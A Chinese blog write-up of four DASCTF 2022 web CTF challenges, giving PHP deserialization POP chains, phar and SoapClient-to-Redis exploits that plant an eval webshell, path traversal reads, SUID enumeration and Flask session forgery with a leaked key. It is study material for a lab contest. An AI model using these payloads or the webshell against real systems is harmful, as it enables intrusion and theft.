DASCTF 2022十月挑战赛 web

EasyPOP

源码附上

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;
    public static function secret()
    {
        include_once "hint.php";
        hint();
    }
    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }
    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}

这道题也是唯一写出来的web

拿到源码就看哪里可以命令执行RCE,看那些php特殊函数,这里的话 就是`call_user_func($this->cmd, $this->content);

具体如何利用是这样的

<?php
	call_user_func($_GET['a1'],$_GET['a2']);
	//xxx.php?a1=system&a2=whoami  //命令执行
	///xxx.php?a1=assert&a2=phpinfo()   //代码执行
?>

从而实现RCE

看源码 有发现一个 hint(); 按理说hint应该是有用的嘛,就想去构造去执行一些hint()函数 ,

所以要进入secret_code类里面的secret()方法 ,刚开始还想用show()方法去触发secret()

但其实

else if ($this->name = "jay") {
        secret_code::secret();

这里直接触发了secret()

生成payload要删除__sleep()

$s = new sorry('jay','123');
echo serialize($s);

image-20221023135619813

hint是这个 , 确实没用,因为可以通过call_user_func() 直接rce 去翻文件的

审计一下可以发现这条链子

sorry:__destruct()-> show:__toString()-> secret_code:call() ->secret_code:show() ->sorry:__get -> fine : __invoke

注意:__call是针对无方法,__get是针对无属性

poc如下

<?php


class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }
}

class sorry
{
    private $name;
    private $password;
    public $hint;
    public $key;

    public function __construct($name, $password,$hint,$key)
    {
        $this->name = $name;
        $this->password = $password;
        $this->hint=$hint;
        $this->key=$key;
    }


}

class secret_code
{
    protected $code;

    public function __construct($code)
    {
        $this->code=$code;
    }
}

$s = new sorry('aaa','aaa',new show(new secret_code(new sorry('aaa','aaa','aaa',new fine('system','cat /flag')))),'aaa');
echo urlencode(serialize($s));

//4,get -> invoke
//3,show() -> get
//2,toString -> show()
//1,destruct -> toString

这里我设置name和password都为aaa,可能正好绕过了 随机密码这个地方,可以打通

其实步骤里还差一个永真表达式 就是让
$this->password=&$this->name

注意一定要在代码中进行url编码 ,然后绕wakeup时候手动修改类个数即可

hade_waibo

小明为了每日欣赏美少女,专门写了一个平台供网友分享与浏览,结果却被可恶的黑客入侵并留下一个恶作剧,你能帮他看一看吗? tips:flag在/目录下的一个文件里

有个输入用户名登录,进去有上传点,并且可以search文件

这种就很像phar反序列化,之前也有非预期直接读/flag

这题还能非预期! 看看

在search界面

/file.php?m=show&filename=../../../../start.sh

然后搜到损坏的图,打开后看源码 里面有flag的文件名信息

image-20221029172446135

start.sh是执行脚本文件 , 这方法有趣

/file.php?m=show&filename=../../../../ghjsdk_F149_H3re_asdasfc

同样的方法得到flag

filename=class.php读到源码

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

class File
{
    #更新黑名单为白名单,更加的安全
    public $white = array("jpg","png");

    public function show($filename){
        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
        if(empty($filename)){die();}
        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
    }
    public function upload($type){
        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
        return "Upload success! Path: upload/" . $filename;
    }
    public function rmfile(){
        system('rm -rf /var/www/html/upload/*');
    }
    public function check($type){
        if (!in_array($type,$this->white)){
            return false;
        }
        return true;
    }

}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

先去找链子,Test类中的backdoor里面的system函数可以执行命令

但是有正则过滤 , 无字母数字和三个符号,且system不能执行异或、取反这些

__wakeup因为版本问题无法绕过(PHP5<5.6.25,PHP7 < 7.0.10可以绕),那如何让value的值不变呢,我们只需要让value指向一个变量的地址,这样就不会变了

在保证 value 不会被改变的情况下,怎么绕过 preg_match 执行 shell 呢?这边又有一个小知识点:在 linux 中,. ./* 会把当前目录下的所有文件当作 sh 文件执行。

image-20221030163108662

这里就是. ./*执行了该目录下1.jpg里面的命令

所以这题可以上传一个这样1.jpg

#!/bin/sh
ls /

问题又来了,怎么令 value. ./* 呢?我们接着看 User类,在 __wakeup $this->username = $_SESSION["username"];,也就是 $this->username == 我们的登录名,那么我们是就可以在登录时,以 . ./* 为登录名,然后令 Test 类中的 value 指向 username,因为 username 是可控的。

poc如下:

<?php
class User{
    public $username;
}
class Test{
    public $value;
}
$user = new User();
$test = new Test();
$user->username = new Test(); 
$user->a= $test;  //这句不太理解,这句的用途是可以顺利调用value
$test->value = &$user->username;
echo serialize($user);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("phar.phar", "test.jpg");

这里为何还需要User对象用一个不存在的属性实例化 Test()类,确实不太理解,有和没有的区别如下

O:4:"User":2:{s:8:"username";O:4:"Test":1:{s:5:"value";N;}s:1:"a";O:4:"Test":1:{s:5:"value";R:2;}}

O:4:"User":1:{s:8:"username";O:4:"Test":1:{s:5:"value";N;}}

看师傅们的博客大概是能顺利调用value,

上传1.jpg 后 用 . ./*作为用户名登录 ,然后上传phar文件

读取1.jpg 来实现 ls /

未复现成功,哪里出问题了。。大佬们指引一下

EasyLove

Redis是世界上最好的数据库!

进来后是源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }
    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }

    public function flag(){
        $this->love->getflag();
    }
    
    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
$hello = $_GET['hello'];
$world = unserialize($hello);  

有个hint,去读一下 , file_get_contents 用 伪协议读hint.php源码

构造 file_get_contents("php://filter/read=convert.base64-encode/resource=/var/www/html/hint.php")

也就是

<?php
class hint{
    public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
}
$s = new hint();
echo serialize($s);

传进去后得到

image-20221103110537743

也就是可能Redis的密码 是20220311

到这里不太懂了,去了解了解ssrf打redis,多看看一些文章和wp

https://blog.csdn.net/m0_62422842/article/details/127553366

public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }
 public function flag(){
        $this->love->getflag();
    }

首先destruct就直接调用了这两个方法,newnewnew()里面的参数我们是可控的属性,flag()里调用了不存在的方法

可以触发SoapClient原生类的call方法,那么利用条件满足,关于SoapClient原生类的call方法 看这篇文章

https://blog.csdn.net/qq_38154820/article/details/119952852

SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组.

只能先大概理解一下了,可以通过uri选项向内网redis发指令写木马

AUTH 20220311 //验证客户端链接
CONFIG SET dir /var/www/html  //设置写入的目录
SET x '<?@eval(\$_POST[1]);?>'  //设置写入的内容 这里不要有空格的好
CONFIG SET dbfilename hack.php  //设置写入的文件名
SAVE  //保存结束

写一下脚本了,redis一般在6379端口

exp里面 $option 是一个数组,必须设置locationuriuri就是上面的指令,以\r\n隔开

<?php
$target = "http://127.0.0.1:6379";
$option = array("location"=>$target,"uri"=>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename hack.php\r\nSAVE\r\nhello");
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
}
$s = new swpu();
$s->wllm = "SoapClient";
$s->arsenetang = null;
$s->l61q4cheng = $option;

echo urlencode(serialize($s));

image-20221103141743048

打payload进去

然后访问我们写的hack.php 进行命令执行 成功,连接蚁剑

image-20221103142222900

然后找到flag文件 没有权限读,考虑SUID 提权

find / -perm -u=s -type f 2>/dev/null

这玩意在蚁剑下没有回显? 在网站上进行执行后

image-20221103143631778

有date就考虑date读取 date -f

image-20221103142759293

BlogSystem

刚学习完flask,用flask写了一个博客并放了一点文章上去

https://pysnow.cn/archives/566/ 出题人文章很详细,纯跟着学习一下

image-20221104113047529

admin被注册了,考虑如何登录admin,用普通用户登录一下,有发布文章,修改密码,查看文章的功能

然后就是在写的文章里,《flask基础总结》,发现了密钥泄露的情况 (跟着文章还学习了不少)

image-20221104113025146

知识点 flask伪造session

工具:https://github.com/noraj/flask-session-cookie-manager

解密
python3 flask_session_cookie_manager3.py decode -c ceyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6IjEyMzEyMyJ9.Y2SOJw.VxdoMEDiLe2__2QHVJs9R6S8DwY -s 7his_1s_my_fav0rite_ke7

image-20221104132246944

拿到正确的用户信息,现在伪造一下admin的session

python3 flask_session_cookie_manager3.py encode -s 7his_1s_my_fav0rite_ke7 -t "{'_permanent': True, 'username': 'admin'}"

拿到eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y2SiEw.epCgY0vgKMxePBuf7_kwhCpy1es

image-20221104132721247

替换后成功admin登录,发现多了个download

image-20221104133105527

这里考虑目录穿越

image-20221104133326553image-20221104133520124

测试一下,肯定是对…和//进行替换为空了

要实现../ 可以构造成 .//./

image-20221104134210929

现在就可以翻源码,代码审计了

入口点在/app/app.py

from flask import *
import config

app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *

app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')

@app.context_processor
def login_statue():
    username = session.get('username')
    if username:
        try:
            user = User.query.filter(User.username == username).first()
            if user:
                return {"username": username, 'name': user.name, 'password': user.password}
        except Exception as e:
            return e
    return {}


@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', 80)

后面有些不理解,待补充

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值